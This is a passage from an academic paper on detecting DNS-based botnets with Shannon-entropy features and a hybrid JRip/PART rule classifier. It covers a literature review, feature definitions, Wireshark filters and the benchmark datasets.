6/34 even with the risk of being exposed and discovered, the DNS lookup query is still widely used in the botnet connection phase since it is the most flexible botnet communication method (Manasrah et al., 2009). The Malicious and attack phase: The botmaster instructs the bots to perform nefarious activities, such as distributing malicious software or sending spam emails. Bots can also perform disruptive attacks, such as a DDoS attack (Da Luz, 2014). The Maintenance and upgrading phase: Bots remain idle while waiting for new commands from the botmaster. These commands might include new targets, update their behaviour, or instruction for new malicious activities. The botmaster will uphold the bots as long as possible by continuously upgrading them to avoid detection, enhancing propagation vectors with potential threats and methods or updates, and patching errors in scripts (Zeidanloo et al., 2010). Some traits and data trails exist throughout the botnet life cycle or botnet communication despite employing evasive techniques. Examples of DNS data trails include domain names, resource code, DNS responses, DNS queries, and timestamps. Such DNS data trails’ availability provides security researchers with ways to detect botnets and their C&C servers (Stevanovic et al., 2012; Luo et al., 2017). Given the discussion above, our research question is as follows: Can we increase botnet detection accuracy by combining two machine learning algorithms to analyse DNS data trails and the significant DNS-related features and rules that contribute to botnet detection? This study’s goal is to enhance DNS-based botnet detection accuracy. The contributions of this paper are (i) new features derived from basic DNS features using Shannon entropy and (ii) a hybrid rule-based model for botnet detection using a union of JRip and PART machine learning classifiers. Finally, the evaluation of the proposed approach uses different datasets with various evaluation metrics; and the results are compared with other existing methods. The rest of this paper is organised as follows. The related literature and studies section presents the current related work. The Section “Related Literature and Studies” details the proposed approach framework. This study’s implementation environment is in Section “Materials & Methods”, and the Section “Results” is devoted to elaborating the result and discussion. Finally, the conclusion and future research directions in the Section “Conclusion” concludes this paper. RELATED LITERATURE AND STUDIES Currently, there are two main methods to detect DNS-based botnet: Honeypot and Intrusion Detection Systems (IDS) (Dornseif, Holz & Klein, 2004; Anbar et al., 2016). Figure 7 presents the taxonomy of the DNS-based botnet detection approaches. Honeypots Honeypots are widely used for identifying and analysing the behaviour of botnet attacks. Honeypots are purposely designed to be vulnerable to botnet attacks to capture and gather Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 7/34 as much data as possible on the botnet (Freiling, Holz & Wicherski, 2005). Honeypot also runs specialised software that attempts to match bots’ signatures and discovers the location of the botnet’s C&C server. There are at least three types or levels of honeypots depending on the required level of bots information, the complexity of the study’s data, and the interaction level permitted to the attacker: low, medium, and high (Koniaris, Papadimitriou & Nicopolitidis, 2013; Nawrocki et al., 2016). A low-level honeypot or Low Interaction Honeypot (LIH) stores unauthorised communication with a limited attacker interaction; therefore, it is safer and easier to maintain than other honeypot types. A Medium Interaction Honeypot (MIH) provides more meaningful interaction with the attacker but not as open as a High Interaction Honeypot (HIH). HIH is a computer with a real OS running vulnerable services to attract intruders to break into to capture their actions for analysis. Table 2 shows the pros and cons of the three types of honeypot. Honeydns, proposed by Oberheide, Karir & Mao (2007), is a form of LIH that uses some simple statistics over the captured queries and collects DNS queries targeting unused (i.e., darknet) address spaces. This method prevents attackers from avoiding it (Bethencourt, Franklin & Vernon, 2005). However, a honeypot cannot detect all forms of bots, such as bots that are not using scanning to propagate (Dornseif, Holz & Klein, 2004). Figure 7 Taxonomy of Botnet detection based on DNS. Full-size  DOI: 10.7717/peerj-cs.640/fig-7 Table 2 Honeypots type. Honeypot type Pros Cons LIH Easy to manage, low risk for network Easy to be noticed by the attackers MIH meaningful interaction with the attacker and allow the simulation of a service or operating system where everything is controlled Need more network configuration to protect the honeypot network. It may endanger the network if the attacker fully controls it HIH The only type of Honeypot that provides bot binary information and execution code High risk to the network operator requires more advanced configuration for the network and operations skills Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 8/34 Furthermore, attackers could utilise honeypots to target other systems or machines outside the honeypots (Liu et al., 2009). Figure 8 shows the standard honeypot configuration. Anirudh, Arul Thileeban & Nallathambi (2017) built a model using MIH as a sensor to collect attack logs. When coupled with an Intrusion Detection System (IDS) as a verifier, these logs increase 55–60% in IDS efficiency against DDoS attacks compared to using IDS alone. However, their research is limited to DDoS attacks only (Anirudh, Arul Thileeban & Nallathambi, 2017). Intrusion Detection System (IDS) Da Luz (2014) and Alomari et al. (2016) categorised IDS into two: anomaly-based and signature-based (Da Luz, 2014; Alomari et al., 2016). The anomaly-based IDS can be further classified into host-based IDS and network-based IDS (Dornseif, Holz & Klein, 2004). The subsequent sections provide more details on the different types of IDS. Signature-based Botnet detection A signature-based detection method only detects botnets with matching predefined signatures in the database. DNS-based blacklist (DNSBL) method proposed by Ramachandran, Feamster & Dagon (2006) tracked DNS traffic and discovered bots’ identities based on the insight that botmasters could perform a “recognition” search to determine blacklisted bots. The limitations of the DNSBL-based approach are that it can only detect scouting botmaster and limited to bots propagated through SPAMs traffic using a heuristic approach. Anomaly-based Botnet detection Anomaly-based detection method relies on different DNS anomalies to identify botnets. Some of the DNS anomalies used for detection include high network latency, Time to Live (TTL) domain, patterns of domain requested per second, high traffic volumes, and irregular device behaviour that may expose bots’ existence. In other words, the term Figure 8 A typical Honeypot configuration. Full-size  DOI: 10.7717/peerj-cs.640/fig-8 Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 9/34 “detection based on anomaly” refers to the act of finding odd habits that differ from the expected ones. The anomaly-based approaches have two detection methods: host-based and network-based (Dornseif, Holz & Klein, 2004; Karim et al., 2014; Da Luz, 2014). Host-based approaches Host-based technique scans and protects the computing device locally, or in other terms, ‘host-level. Shin, Xu, and Gu proposed the EFFORT framework that combines several techniques to observe DNS traffic at the host level (Shin, Xu & Gu, 2012). EFFORT has five specific modules that use a controlled machine learning algorithm to report malicious domain names regardless of network topology or communication protocol and performs well with encrypted protocols. However, the EFFORT framework only worked with botnets that rely on the DNS administration to recognise C&C servers’ addresses. Host-based IDS is typically an inadaptable approach. Consequently, the observing agents must be deployed on all devices in the network to be effective against botnet attacks (Da Luz, 2014). Network-based approaches Network-based IDS analyses network traffic, either actively or passively (Dornseif, Holz & Klein, 2004; Karim et al., 2014; Da Luz, 2014). The active monitoring approach injects test packets into the network, servers, or applications instead of just monitoring or passively measuring network traffic activities. Active Monitoring Approaches Ma et al. (2015) proposed an active DNS probing approach to extensively determine unique DNS query properties from DNS cache logs (Ma et al., 2015). This technique could be used remotely to identify the infected host. However, injecting packets into the network increased the risk of revealing the existence of the IDS on the network. Furthermore, active analysis of DNS packets could threaten users’ privacy. Besides, the NXDOMAIN requests were absent from the DNS cache entry for domain names. The active monitoring mechanism added additional traffic from test and test packets injected into the network (Alieyan et al., 2016). FluXOR (Passerini et al., 2008) is one of the earlier systems to detect and monitor fast- flux botnet. The detection technique is based on an interpretation of the measurable characteristics of typical users. It used an active sampling technique to track each suspected domain to detect the fast-flux domain. Not only can FluXORs recognise fast-flux domains, but also the number and identity of related proxy servers to prevent their reuse in a potential fast-flux service network (Monika Wielogorska, 2017). However, FluXOR is restricted to the fast-flux domains advertised by SPAM traffic (Perdisci, Corona & Giacinto, 2012). Passive Monitoring Approaches Passive monitoring utilises specific capturing instruments, known as “sensors,” to track the passing traffic. Subsequently, the traffic on the network under inspection would not Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 10/34 increase. Weimer implemented the first passive detection method in 2005 (Weimer, 2005; Zdrnja, Brownlee & Wessels, 2007). NOTOS (Antonakakis et al., 2010) is a comprehensive domain name reputation system that analyses DNS and secondary data from honeypots and malware detection services. Reputation process inputs are the characteristics derived from the list of domain names, such as the resolved IP address, the domain registration date, identified malware samples accessing a given domain name or IP address, and domain name blacklisted IP addresses. These features allowed NOTOS to change the domain legitimacy model, clarify how malicious domains are run, and calculate the perfect reputation score for new domains. NOTOS has high accuracy and low false-positive rate and can identify newly registered domains before being released on the public blacklist. However, a reputation score algorithm needs a domain registration history (whois), which is not available for all domain names, to award an appropriate reputation score. It is also unusable against frequently shifting C&C domains, such as a hybrid botnet that uses several C&C server hubs to execute commands (Kheir et al., 2014). Contrary to NOTOS, Mentor (Kheir et al., 2014) proposed a machine learning approach on a statistical set of features. The proposed model sought to exclude all valid domains from the list of blacklisted C&C botnet domains, which helped to minimise both the false-positive rate and domain misclassification during the identification process. To do this, Mentor embedded a crawler to gather data on suspicious domain names, e.g., web content and domain properties, to create a DNS pruning model. The Mentor method’s performance is better when measured against public blacklist domains with meagre false-positive rates. EXPOSURE is a system proposed by Bilge et al. (2011) that used inactive DNS information to identify domains vulnerable to malicious behaviour. It held a total of 15 features distributed over four classes: time-based, DNS-based, TTL-based, and domain-based. It also used these features to improve the training of PART classifiers. Kopis introduced a new traffic characteristic by analysing DNS traffic at top-level domain hierarchy root levels (Antonakakis et al., 2011). This method reliably looked at the malware used domains by going through global DNS query resolution patterns. Unlike other DNS reputation strategies such as NOTOS and EXPOSURE, Kopis allowed DNS administrators to freely inspect malware domains without accessing other networks’ data. In addition, Kopis could search malware domains without access to IP reputation info (Xu et al., 2017). Pleiades (Antonakakis & Perdisci, 2012) helped classify recently controlled DGA domains using non-existent domain responses (NXDOMAIN). However, because its clustering strategy relied on domain names’ structural and lexical features, it was limited to DGA-based C&C only. Also, one of the outstanding issues of NXDOMAIN-based detection was dealing with a compromised host with malware that requested several queries to DGA domains over an extended time. It might be possible to detect the C&C addresses of a domain fluxing botnet in the local network by comparing the accurate domain resolution entropy to the missed one (Yadav et al., 2010). Since the randomness in the domain name alphanumeric characters is measurable by calculating the entropy Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 11/34 value, in their implementation, the researchers utilised an offline IPv4 dataset from the Asian region. They achieved a low FP rate of just 0.02%. However, their approach was limited to non-dictionary IPv4 domain names. There has been extensive discussion on botnet detection approaches that employ machine learning detection in the literature. For example, BOTCAP (Gadelrab et al., 2018) utilises J48 and ‘Support Vector Machine’ (SVM) classifiers for training the extracted DNS features. The authors showed that the J48 classifier, a Java version of the C4.5 classifier, performed better than other classifiers. However, a hybrid detection model that combines the output of the J48 classifier with other classifier models’ output could further improve the performance. Li et al. (2019) attempted to find the best classifiers from several classifiers, such as Decision Tree-J48, ‘Artificial Neural Network’ (ANN), ‘Support Vector Machine’ (SVM), Logistic Regression, ‘Naive Bayes’ (NB), ‘Gradient Boosting Tree’ (GBT), and ‘Random Forest’ (RF) (Li et al., 2019). As a result, the authors showed that J48 was the best classification algorithm to classify the DGA domain (Li et al., 2019). However, their proposed approach was not using any hybrid rule model. Haddadi et al. (2014) adopted the C4.5 classifier for botnet classification (Haddadi et al., 2014). However, the selected subset of features did not contribute to any improvement in the classification process. The experimental results achieved an 87% detection rate. Likewise, deep learning, a subset of machine learning, has received significant attention lately. A deep learning algorithm of recurrent neural networks (RNN), long short-term memory (LSTM), and the combination of RNN and LSTM have been applied as a botnet detection method (Shi & Sun, 2020). The RNN and LSTM combination achieved higher detection results. However, deep learning techniques require massive pre-processing of data, long process time, and resources with high-speed processors. Besides, to discover new bots, re-training the whole model with a new dataset is a must. Re-training is a time- consuming process and not suitable for detecting new botnets. From the literature above, it is noticeable that there is a lack of significant features and rules that contribute to detecting DNS-based botnet with high accuracy and low false- positive rate. The summary of some existing botnet detection approaches based on DNS traffic analysis are tabulated in Table 3. MATERIALS & METHODS This section thoroughly explains the materials and methods used to implement the proposed approach. The proposed approached consists of three stages, as shown in Fig. 9. The following subsections provide complete detail of each stage. Stage 1: data pre-processing Data pre-processing stage is critical for the proposed approach. It helps to focus on the required DNS features to provide a more flexible selection analysis. Also, this process reduces the analysis time and false-positive results as well. Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 12/34 Table 3 Summary of DNS-based botnet detection techniques. Author and Year Detection Approach Strengths Weakness Oberheide, Karir & Mao (2007) Honeypot Easy to build; help to discover new botnet within its network Limited scalability and interaction with malicious activities Ma et al. (2015) Active Network-Based Could identify the infected host in remote management networks Restricted to domain names in cache entry; cannot detect NXDOMAIN request; high probability to be detected by attackers, and introduce privacy concern Passerini et al. (2008) Active Network-Based Discover fast-flux domains; also detect the number and identity of related proxy servers to prevent future reuse Limited to fast-flux domains advertised through SPAMs traffic Shin, Xu & Gu (2012) Host-Based Provide real-time protection Limited to host-level; must be installed in all hosts in networks Antonakakis et al. (2010) Passive Network-Based Has high accuracy and low false- positive rate; recognise recently registered domain names before being published to public blacklist Cannot classify new domains; inaccurate against frequently changing C&C domains like hybrid botnet architecture that utilises many master C&C hubs to execute a command Gadelrab et al. (2018) Passive Network-Based Able to detect and identify individual bots without collecting massive data from infected machines; based on statistical features of botnet traffic (i.e. independent of traffic content) Low detection rate Antonakakis & Perdisci (2012) Passive Network-Based Able to analyse DGA-based C&C queries limited to detect C&C addresses for fast-flux botnet in a local network Limited to high entropy domain names (non-dictionary words) with IPv4 domain resolving Bilge et al. (2011) Passive Network-Based Able to identify new botnet through machine learning classifier A 15 features detection model consumes a lot of data processing and sensors on RDNS servers for learning model Kheir et al. (2014) Passive Network-Based It has a low false-positive rate Only identify benign domains; misclassification for the hijacked and high reputation domain name; weak against hybrid botnet Ramachandran, Feamster & Dagon (2006) Signature-based Attempt to recognise botmasters’ address and identify their location Only detect reconnaissance botmaster; limited to bot advertised through SPAMs traffic using heuristics approach; need to update DNSBL database Shi & Sun (2020) Deep learning analysing Used a hybrid deep learning method to classify DNS-based botnet it’s required that to train the whole model once more to discover new botnet. Our approach Hybrid rule-based Hybrid machine learning approach using a united of two machine learning classifiers that resulted in high accuracy botnet detection Not deal with encrypted DNS traffic that uses DNS via the Transport Layer Security protocol (DoT) or DNS via secure hypertext protocol (DoH) Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 13/34 It consists of two steps, DNS packet filtering and data cleansing. The packet filtering step ensures that only DNS packets remain in the filtered network traffic. Furthermore, this research assumes that a third-party security mechanism is deployed in the network to prevent or detect DNS fragmentation packets. Therefore, the proposed approach incorporates the third-party mechanism to ensure that the DNS fragmented packet will not bypass the proposed rules. DNS packet filtering step The process of resolving DNS queries occurs nearly instantaneously most of the time. Since there is no need for a handshaking technique provided by Transmission Control Protocol (TCP), DNS traffic uses User Datagram Protocol (UDP) at port 53, making the filtering process easier. Furthermore, this study focuses on the analysis of selected features of DNS. The filtering step is responsible for the extraction of the required DNS features from DNS packets. Figure 10 illustrates the process of the data pre-processing stage. Figure 11 visualises the DNS packet structure. Table 4 tabulates the extracted DNS traffic fields selected for this study. Finally, Table 5 presents the extracted DNS record types with their function in the DNS protocol. Figure 10 Flowchart for data pre-processing stage. Full-size  DOI: 10.7717/peerj-cs.640/fig-10 Figure 9 Three stages of the detection method design. Full-size  DOI: 10.7717/peerj-cs.640/fig-9 Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 14/34 Data cleansing step Cleansing the data means removing errors and broken DNS sessions from the datasets. Thus, the cleaning process helps achieve more accurate results and reduces the processing time of subsequent stages (Alieyan et al., 2021). Figure 11 DNS packet structure. Full-size  DOI: 10.7717/peerj-cs.640/fig-11 Table 4 Extracted DNS traffic basic features. Fields Description TIME Traffic time Source IP address Sender (host) IP address Destination IP address Receiver (host) IP address QR (Query/response) A one-bit field that specifies whether this message is a query (0), or a response (1). RCODE 4-bit field is set as part of responses with these values: 0 No error 1 Format error 2 Server failure 3 Name Error 4 Not Implemented QNAME Domain name requested TTL (DNS response) Time to Live (TTL) of Resource Record (RR). A 32-bit integer in seconds, primarily used by resolvers when they cache RRs. Describes how long to cache RR before discarded. Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 15/34 DNS traffic analysis The DNS traffic analysis stage consists of enriched features calculations (feature engineering) and building training dataset steps. The following subsection provides a more detailed explanation for each step. Enriched features calculations (feature engineering) step The feature engineering process employs different machine learning domains to solve various types of problems. Its main task is to select and compute the most significant features or attributes and eliminate irrelevant and redundant features to improve machine learning algorithms’ performance. In this study, the feature engineering process derives enriched DNS features from the basic extracted features in Stage 1. Based on the review of existing literature and studies, we considered two significant characteristics of DNS-based botnet in its connection phase. Firstly, DNS-based botnet generates a massive number of domain names. Secondly, the generated domain names tend to be random and different from the human-generated ones (Alieyan et al., 2021). The calculation of randomness of domain names could help to distinguish anomalous traffic and benign traffic. In information theory, the randomness could be calculated by the Shannon entropy equation, first introduced by Claude E. Shannon in his paper titled “A Mathematical Theory of Communication” (1948). Shannon entropy allows estimating “the average minimum number of bits needed to encode a string of symbols based on the alphabet size and the frequency of the symbols.” Moreover, Shannon entropy is also being Table 5 DNS record types. DNS record type Description Function and implication A IPv4 address record A 32-bit IP Host address. A connection to this IP address by the user will follow AAAA IPv6 address record A 128-bit IP Host address. A connection to this IPv6 address of the user will follow CNAME Canonical name record Mapping domain name to another domain DNS query with the value of the CNAME from the response as the QNAME of the query might follow MX Mail exchange record Maps a domain name to mail server agent. A mail transfer to this server might follow NS Name server record Delegates a DNS zone to name servers. Implication: DNS queries to these servers might follow. PTR Pointer record Used in reverse DNS lookups SIG Signature Signature record SOA Start of authority record Provide valuable information about the domain, including the primary name server, administrator email, the serial number and TTL SRV Service Locator Generalised service location record used for newer protocols instead of creating protocol-specific records such as MX. Inference: A connection to the A record of the hostname with the specific parameters might follow. Compared to the A record alone, an observer of a query for an SRV record knows precisely what type of connection to the IP address of the hostname might follow. TXT Text record Used to carry text data. Text data could be readable, or machine-generated text. Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 16/34 applied in information and network analysis. Therefore, the proposed approach employs the Shannon entropy algorithm to calculate the resolved domain name’s entropy, using Eq. (1). H x ð Þ ¼ X n i¼1 p xi ð ÞI Xi ð Þ ¼ X n i¼1 p xi ð Þ log 1 p xi ð Þ ¼ X n i¼1 p xi ð Þ log p xi ð Þ (1) Since bots repeatedly tried to connect with the botmaster’s C&C server, the number of domain resolution requests will be high. The proposed methodology for traffic analysis is to group the requested domain according to source IP. Since the bot or botnet tries to connect with the botmaster in different predefined periods, the average entropy for the source IP is essential to distinguish between benign and malicious traffic. Furthermore, we use the same time value, 5 s, for flow analysis based on a previous study (Alieyan, 2018). Equation (2) calculates the average domain entropy feature (F1). H x ð Þ ¼ PN i¼1 H xi ð Þ N (2) where N denotes the number of domain requests in a predefined time (5 s), and H x ð Þ is as mentioned in Eq. (1). Moreover, as previously mentioned, a botnet in the rallying phase repeatedly tries to connect with its C&C server. Since the C&C server is usually configured with a single or only a few domains from the pool of vast numbers of bot-generated domain names, many failed domain name resolution requests occur before the bot successfully connects with the registered C&C domains. Such actions will increase the NXDOMAIN response ratio from the infected network or host, indicating anomalous behaviour (Wang et al., 2017). Furthermore, regular users usually have different domain request time patterns, whereas the infected host endeavour to connect with their C&C server according to a pre-programmed schema. Consequently, the time for domain request entropy in legitimate hosts diverges from the infected ones (Qi et al., 2018). Furthermore, the values of legitimate DNS lookup type requests and DNS record types, as stated in Table 5, will differ from the values in an infected host since that user’s behaviour in requesting domain resolution is different from the bot-generated request (Hikaru et al., 2018). Likewise, the attackers exploit fast-flux by combining round-robin IP addresses with a short TTL for the DNS Resource Record (RR) (William & Danford, 2008), leading to different TTL settings for the malicious domains. Based on the characteristics mentioned above, the equations for the calculation of the enriched feature are as follows: R is the ratio of the successful DNS response within a predefined time, which is also the definition of the second feature (F2): R ¼ Rs Rn (3) where Rs represents the number of successful DNS responses, and Rn represents the number of DNS requests. Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 17/34 H(q) is the randomness number of DNS queries rate within a predefined time interval. It is calculated according to the Shannon entropy stated in Eq. (1). Thus, the definition of the third feature (F3) is calculated by: H q ð Þ ¼ X N x¼1 qx PN x¼1 qx log qx PN x¼1 qx ! (4) where qx represents the number of DNS queries in an x time interval, and N refers to the total number of DNS queries type (Qi et al., 2018). DDt is the number of resolved DNS record types within a predefined time interval. The definition of the fourth feature (F4) is as follows: DDt ¼ X N i¼1 ðDi Þ (5) where Dt represents the predefined time, Di represents the number of the i-th DNS request type as tabulated in Table 5, and N denotes the total number of DNS requested. The average of the resolved domain name TTL in a predefined time interval, which is the definition of the fifth feature (F5), is measured by: TTLl ¼ PN i¼1 TTLi N (6) The total number of various values for TTL within a predefined-time (F6). The total number of different sizes of DNS packets within a predefined-time (F7). The number of different DNS destinations within a predefined-time (F8). The total number of unsuccessful (error) DNS response within a predefined-time (F9). The ratio of successful DNS response in a predefined-time (F10). Building training dataset step The objective of this step is to construct a training dataset to train the machine learning classifiers. The training dataset comprises a set of enriched features computed through a feature engineering process. As mentioned earlier, the features are calculated based on 5 s running time series of the source IP that resulted in a network traffic flow defined as unidirectional traffic with certain packet features that represent a flow tuple (Krmicek, 2011). In this study, the features that describe the flow are the source IP, destination IP (DNS server), and protocol (DNS). Furthermore, the total number of domain requests is one of the features available in the flow but not in the individual packet (Haddadi & Zincir-Heywood, 2015). The use of traffic flow helps to reduce both the training time and the number of process instances. Even though the per-packet analysis is accurate, it requires extensive resources and cannot efficiently deal with encrypted network traffic (Zhao et al., 2013). Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 18/34 Additionally, to avoid being misled while building the rule model, the rule extraction process will remove the source IP address feature used for flow creation since the source IP address in the actual traffic might differ from data collection traffic. Furthermore, the dataset is presented as a grouped aggregated flow. For a unified grouped aggregated flow time during the calculation of the computed features, the predefined time used for each calculated group is 5 s based on previous studies (Alieyan, 2018; Qi et al., 2018). Additionally, by aggregating the flow in a fixed interval of 5 s, the dataset size and the processing time are reduced. Table 6 tabulates the extracted set of basic features with enriched features. Stage 3: hybrid rule-based detection model This stage presents a hybrid rule-based detection model to detect botnet attacks in DNS traffic. The hybrid-rule model is built using the PART and JRip machine learning algorithms. To properly assess the proposed approach’s performance, a ten-fold cross- validation method (Kohavi, 1995) is utilised to select the best model for rule detection. The PART classification algorithm is a Java-based variation of the C4.5 algorithm (Salzberg, 1994; Thankachan, 2013) and different SVM kernels (Hsu, Chang & Lin, 2003; Chang & Lin, 2011). C4.5 is a popular decision tree supervised classifier widely used in data mining. The C4.5 decision tree is generated based on the provided classes and feature sets (Alazab et al., 2011). JRip (Repeated Incremental Pruning) is the Weka variant of Repeated Incremental Pruning to Produce Error Reduction (RIPPER), suggested by William W. Cohen as an enhanced version of IREP (Hall et al., 2009). JRip offers a range of capabilities that could improve detection accuracy, such as a technique to revise and replace generated rules, deal with noisy data, and fix over-the-counter issues. In addition, JRip optimises the rule set by the re-learning stage, leading to higher accuracy as the rules are regularly revised. Its classifier performs well even for imbalanced class distribution (Hall & Joshi, 2005; Qazi & Raza, 2012; Napierala & Stefanowski, 2016). Table 6 The resulted subset of features in the training dataset. F# Feature Name Description 1 Avg_domain_ent Average requested domains entropy at a predefined-time. 2 No_suc_resp The total number of successful responses in predefined-time. 3 rand_query The randomness of the number of DNS queries rate in the predefined-time interval. 4 number_of _record type The number of records requested in a predefined-time. 5 Avg_TTL Average Time to Live in a predefined-time, TTL defines how long the response record for a domain should be cached in the DNS server or the host. 6 No_Distinct_TTL The total number of different values for TTL values in the predefined-time. 7 No_Distinct_Packet The total number of different sizes of packets in predefined-time. 8 No_Distinct_Destination The total number of different destinations in predefined-time. 9 No_error_resp The total number of unsuccessful (error) responses in predefined-time. 10 Ratio_suc_resp The ratio of successful response in a predefined-time. Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 19/34 In this study, we selected PART and JRip machine learning classifiers for several reasons. Firstly, JRip and PART are sets of non-complex rules and could be integrated easily with any IDS system. Secondly, even though other classification algorithms are available, JRip and PART classifiers are used by many researchers in their recent work (Faizal et al., 2018; Kumar, Viinikainen & Hamalainen, 2018; Adewole et al., 2019). Thirdly, the proposed approach assumed that the hybridisation of the two classifiers would improve the output result; thereby, the final detection model rule is a hybrid of extracted rules from both PART and JRip output. Both JRip and PART classifiers require a training dataset. The extracted model for each classifier output, including the hybrid set of rules, is evaluated using 10-fold cross-validation. Figure 12 illustrates the process of the proposed hybrid rule-based model for the detection of DNS-based botnets. Implementation environment The software used includes Microsoft’s Windows 10 (64-bit) operating system, WEKA version 3.8, Microolap TCPDUMP for Windows 4.9.2, Wireshark 3.02, and Python 2.8. We also utilised the WEKA tool to extract the detection rules using the built-in JRip and PART algorithms. It is a set of machine learning algorithms for different data-mining tasks, such as data pre-processing, classification, and clustering. In addition, Microolap TCPDUMP for Windows, a network traffic sniffer and analyser software, was used to extract DNS traffic from the benchmark dataset. Wireshark is a network protocol analyser tool used for detailed analysis and basic feature extraction of DNS packets. We used a python script in conjunction with Wireshark to calculate the Figure 12 Process of a proposed hybrid rule-based model. Full-size  DOI: 10.7717/peerj-cs.640/fig-12 Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 20/34 new enriched features. The results of feature extraction, tabulated in Table 6, were stored in a comma-separated values (CSV) file. Furthermore, having the final training file in CSV file format ensures seamless compatibility since it is fully supported and readable by WEKA. Finally, The hardware used in this study consists of a CPU with an Intel CoreTM i5-8250u processor, 8 GB of memory, and a 256 GB Solid State Drive (SSD) hard disk. Benchmark datasets The experiment of this research is validated using two benchmark datasets: Network Information Management and Security Group (NIMS) dataset (Haddadi & Zincir- Heywood, 2016) and CTU13 dataset (Garcia et al., 2014). The NIMS dataset by the Network Information Management and Security Group of Dalhousie University in Halifax, Nova Scotia, Canada, contains four distinct traces: a normal traffic trace based on Alexa domain ranks and three different traces of malicious traffic from Citadel, Zeus, and Conficker botnets. Table 7 lists the number of domain names inside the dataset for each trace. The experiment in this study utilised the regular DNS traffic data within the CTU13 dataset (“Index of/publicDatasets/CTU-Normal-4-only-DNS,” 2016; https://mcfp.felk. cvut.cz/publicDatasets/CTU-Normal-4-only-DNS/). The CTU13 dataset contains 5,966 normal DNS traffic packets. The dataset comprises traffic collected from music streaming service 20songstogo.com, Gmail, Twitter, and regular web surfing via the Google Chrome browser. Recently, many researchers used the CTU13 dataset in their work (Haddadi, Phan & Zincir-Heywood, 2016; Chen et al., 2017; Pektaş & Acarman, 2019). The non-malware traffic used in this experiment is from the normal part of CTU13, which is CTU4 and CTU6 (“Malware Capture Facility Project: Normal Captures— Stratosphere IPS”; https://www.stratosphereips.org/datasets-normal). The normal traffic for CTU4 is from a home computer network and includes only regular DNS traffic for privacy reasons. Similar to CTU4, the CTU6 comprises regular DNS traffic generated from a Linux-based notebook in a university network. Finally, for our static analysis purpose, two enriched datasets were extracted using feature engineering. The first dataset is a mixed dataset that combines both NIMS and CTU13 (normal traffic) datasets, and the second dataset is based only on NIMS datasets. Table 7 NIMS dataset domains count. Dataset Record count Size (MB) Alexa (normal traffic) 654 2.2 Citadel 1,331 9 Zeus 707 11 Conficker 98,606 1,800 Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 21/34 The combination of normal traffic is to reduce overfitting resulted from an imbalance class. Figure 13 shows a sample snapshot of training dataset instances. It can be noticed that the datasets used for evaluating our proposed approach were from 2014 and 2016. However, using these datasets will not impact the presented result for the following reasons: (i) in our approach, we analysed botnet’s DNS communication patterns, which are totally different from human DNS communication. There is no newer dataset publicly available that fulfils our requirement (DNS-based botnet traffic), and (ii) these datasets were also used by other researchers in their works (as recent as 2020) that we are comparing with. Therefore, we also need to benchmark our proposed work using the same dataset for fair evaluation and comparison. Furthermore, our proposed work relies on the core DNS features that will always exist in the DNS-based botnet lifecycle, which remains the same as long as it uses the conventional DNS protocol. Therefore, the use of these datasets should not render our proposed approach ineffective in detecting novel or future DNS-based botnets. Design of the proposed technique The design of the proposed technique, illustrated in Fig. 9, consists of three stages. This section describes the design of each stage. Figure 13 Snapshot of training dataset instances. Full-size  DOI: 10.7717/peerj-cs.640/fig-13 Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 22/34 Design of pre-processing stage In this stage, first, the TCPDUMP tool selected and filtered DNS traffic from the network traffic, which reduced network traffic by 68%. This process will reduce the time and resources needed to analyse the remaining traffic. Then, several Wireshark DNS packet filters are used to extract several basic features from the DNS traffic. Table 8 shows the extracted features and the corresponding Wireshark filters used. The basic extracted DNS features are stored in a CSV file as input for the next stage. Design of DNS traffic analysis stage In this stage, the enriched features are calculated based on the basic extracted DNS features from the previous stage. The datasets had been prepared and normalised to calculate the features as tabulated in Table 6. Table 8 List of extracted features using Wireshark filters. Feature name Feature description Type of Wireshark filter Time The time a packet is captured UTC date, as YYYY-MM-DD and time Source IP address The IP address for sender machine DNS and ip.src IP-TTL (Time To Live) The time interval for cache before expiring for IP address ip.ttl Query ID A 16-bit unique identifier assigned by the program that generates any query; allows the server to associate the answer with the question (query). DNS.id QR (Query/ Response) A one-bit field that specifies whether this message is a query (0), or a response (1). dns.flags.response == 0 (query) dns. flags.response == 1 (response) RCODE This 4-bit field is set as part of responses with these values: 1. No error 2. Format error 3. Server failure 4. Name Error Not Implemented dns.flags.rcode QNAME A domain name represented as sequence of labels, where each label consists of a length octet followed by that number of octets dns.qry.name TTL (DNS Response) Time to Live (TTL) of the Resource Record (RR); a 32-bit integer in seconds; primarily used by resolvers when caching RRs; describes how long to cache RR before discarded. dns.resp.ttl QTYPE A two-octet code which specifies type of query; The values include all codes valid for a TYPE field, together with more general codes which can match more than one type of RR; used in resource records to distinguish types such as A, AAAA, NS, CNAME. dns.qry.type dns.qry.type == 1 A – IPv4 for Host Address dns.aaaa AAAA – IPv6 Address dns.cname Canonical Name Record type dns.ns Name Server Record type dns.mx.mail_exchange Mail Exchange Record type Al-mashhadi et al. (2021), PeerJ Comput. Sci., DOI 10.7717/peerj-cs.640 23/34 The first feature is the average randomness in queried domain names (F1), calculated using Shannon entropy, and as described in Section “Materials & Methods”, the queried domains are aggregated according to the source IP address (src_IP) every 5 s. Then, a python script is used to compute the enriched features, including the average entropy (avg_domain_ent) as per Eq. (2). To calculate the second enriched feature (F2), several Wireshark 